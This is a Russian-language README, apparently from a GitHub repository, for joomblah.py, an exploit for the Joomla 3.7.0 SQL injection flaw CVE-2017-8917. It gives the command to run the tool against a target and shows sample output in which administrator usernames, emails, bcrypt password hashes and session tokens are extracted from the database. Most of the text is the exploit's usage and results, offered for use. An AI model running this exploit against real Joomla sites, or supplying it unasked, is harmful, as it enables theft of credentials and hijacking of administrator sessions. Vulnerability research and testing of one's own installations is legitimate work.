gloliveira1701/joomblahCVE-2017-8917 Эксплойт уязвимости SQL-инъекции в Joomla! 3.7.0
Эксплойт для Joomla 3.7.0 (CVE-2017-8917)
Пояснение уязвимости:
https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html
Изменение в строке 46
...
result += value.decode('utf-8')
...
Запустите скрипт joomblah.py, указав уязвимую установку Joomla 3.7.0. Это может занять некоторое время, но в результате будут извлечены таблицы пользователей и сессий.
$ python joomblah.py http://127.0.0.1:8080
.---. .-'''-. .-'''-.
| | ' _ \ ' _ \ .---.
'---' / /` '. \ / /` '. \ __ __ ___ /| | | .
.---.. | \ ' . | \ ' | |/ `.' `. || | | .'|
| || ' | '| ' | '| .-. .-. '|| | | < |
| |\ \ / / \ \ / / | | | | | ||| __ | | __ | |
| | `. ` ..' / `. ` ..' / | | | | | |||/'__ '. | | .:--.'. | | .'''-.
| | '-...-'` '-...-'` | | | | | ||:/` '. '| |/ | \ | | |/.'''. \
| | | | | | | ||| | || |`" __ | | | / | |
| | |__| |__| |__|||\ / '| | .'.''| | | | | |
__.' ' |/'..' / '---'/ / | |_| | | |
| ' ' `'-'` \ \._,\ '/| '. | '.
|____.' `--' `" '---' '---'
[-] Получение CSRF-токена
[-] Тестирование SQL-инъекции
- Найдена таблица: rlbre_users
- Найдена таблица: tgukl_users
- Извлечение пользователей из rlbre_users
[$] Найден пользователь ['361', 'Super User', 'admin', '[email protected]', '$2y$10$G4ivaKw71R4uIvuHYliSke5pHoh1Q.xm.Sk29d8zpzx4xJBfPoyEK', '', '']
- Извлечение сессий из rlbre_session
[$] Найдена сессия ['361', '3rfv8kql26s6kvimpbchneom85', 'admin']
- Извлечение пользователей из tgukl_users
[$] Найден пользователь ['883', 'Super User', 'admin', '[email protected]', '$2y$10$5Za2zpqTdRo5x19cvO5biOKeiyOi2iTQ3u0SSLtcs6uvIvJhvM9aG', '', '']
- Извлечение сессий из tgukl_session
Лицензировано в соответствии с WTFPL Авторство: оригинальный код от @XiphosResearch